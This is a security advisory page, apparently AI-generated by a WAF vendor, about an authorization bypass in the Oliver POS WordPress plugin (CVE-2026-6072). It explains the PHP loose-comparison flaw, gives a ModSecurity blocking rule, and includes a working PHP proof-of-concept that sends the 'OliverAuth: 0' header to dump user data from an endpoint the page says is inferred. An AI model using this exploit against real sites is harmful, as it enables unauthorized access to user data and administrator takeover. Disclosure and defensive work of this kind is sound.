Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 22, 2026

CVE-2026-6072: Oliver POS <= 2.4.2.6 – Unauthenticated Authorization Bypass Through User-Controlled Key to 'OliverAuth' Header (oliver-pos)

CVE ID CVE-2026-6072
Plugin oliver-pos
Severity Medium (CVSS 6.5)
CWE 639
Vulnerable Version 2.4.2.6
Patched Version —
Disclosed May 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6072 (metadata-based): This vulnerability allows an unauthenticated attacker to bypass authorization in the Oliver POS plugin for WordPress, affecting all versions up to and including 2.4.2.6. The plugin protects its REST API namespace at /wp-json/pos-bridge/* using the oliver_pos_rest_authentication() permission callback. Atomic Edge analysis identifies the root cause as a loose PHP comparison (==) in the authentication check. The callback compares the attacker-supplied ‘OliverAuth’ header value against the ‘oliver_pos_authorization_token’ option stored in the WordPress database. On fresh installations where the admin has not completed the connection flow, this option is unset. get_option returns false for unset options. Due to PHP’s type juggling, the loose comparison ‘0’ == false evaluates to true. This is inferred from the CWE classification (639 – Authorization Bypass Through User-Controlled Key) and the vulnerability description. Atomic Edge research confirms that no code diff is available for verification, but the described mechanism is a classic PHP loose comparison vulnerability. The attack vector is straightforward. An attacker sends an HTTP request to any endpoint within /wp-json/pos-bridge/*. The request must include the custom HTTP header ‘OliverAuth: 0’. The attacker does not need authentication credentials. They can access any REST API endpoint in that namespace. Specific endpoints within pos-bridge allow reading user data (including administrator details), updating user profiles (including email addresses), and deleting non-admin users. Atomic Edge analysis indicates that an attacker can perform an admin account email reset, leading to site takeover through the ‘lost password’ flow. Remediation requires changing the PHP comparison from loose (==) to strict (===). The strict comparison ‘0’ === false always returns false, which prevents the bypass. Additionally, the plugin should validate that the oliver_pos_authorization_token option is set before performing any comparison. The fix should be applied in the oliver_pos_rest_authentication() permission callback within the plugin’s REST API registration. The impact of successful exploitation is critical. An attacker gains full access to all POS API endpoints without authentication. They can extract a list of all users, including administrator accounts with their email addresses and roles. They can modify user profiles, changing email addresses of administrators. This enables a password reset on the administrator account, granting full site takeover. An attacker could also delete non-admin users, causing data loss and service disruption. Atomic Edge research assesses this as a high-severity vulnerability due to the complete authentication bypass and the capability for privilege escalation to site administrator.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-6072 (metadata-based)
# Block unauthenticated access to Oliver POS REST API with 'OliverAuth' header set to '0'
SecRule REQUEST_URI "@rx ^/wp-json/pos-bridge/" 
  "id:20266072,phase:1,deny,status:403,chain,msg:'CVE-2026-6072 - Oliver POS Authorization Bypass via OliverAuth:0',severity:'CRITICAL',tag:'CVE-2026-6072'"
  SecRule REQUEST_HEADERS:OliverAuth "@streq 0" 
    "chain"
    SecRule REQUEST_METHOD "@rx ^(?:GET|POST|PUT|DELETE|PATCH|OPTIONS)$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6072 - Oliver POS <= 2.4.2.6 - Unauthenticated Authorization Bypass Through User-Controlled Key to 'OliverAuth' Header

// Configuration: Set the target WordPress site URL
$target_url = 'https://example.com'; // CHANGE THIS to the target site URL

// Initialize cURL
$ch = curl_init();

// Endpoint to get all users (inferred as a typical REST API endpoint in POS plugins)
$endpoint = $target_url . '/wp-json/pos-bridge/v1/users'; // Adjust endpoint as needed based on actual plugin endpoints

// Set headers for the request
$headers = [
    'OliverAuth: 0', // The vulnerable header value to bypass authentication
    'Content-Type: application/json',
    'Accept: application/json'
];

// Configure cURL options
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing; remove in production with valid SSL

// Execute the request
echo "[+] Sending request to: " . $endpoint . "n";
echo "[+] Using header: OliverAuth: 0nn";

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($response === false) {
    echo "[!] Error: " . curl_error($ch) . "n";
} else {
    echo "[+] HTTP Response Code: " . $http_code . "nn";
    echo "[+] Response Body:n";
    // Pretty print JSON if possible
    $decoded = json_decode($response, true);
    if ($decoded !== null) {
        echo json_encode($decoded, JSON_PRETTY_PRINT) . "n";
    } else {
        echo $response . "n";
    }
    
    // Check if we got successful access
    if ($http_code == 200 && $decoded !== null) {
        echo "n[+] SUCCESS: Authentication bypassed! The plugin returned user data.n";
        if (isset($decoded[0]['user_email'])) {
            echo "[+] Extracted email: " . $decoded[0]['user_email'] . "n";
        }
    } elseif ($http_code == 403 || $http_code == 401) {
        echo "n[-] Failed: Access denied. The target may be patched or the option is set.n";
    }
}

// Clean up
curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School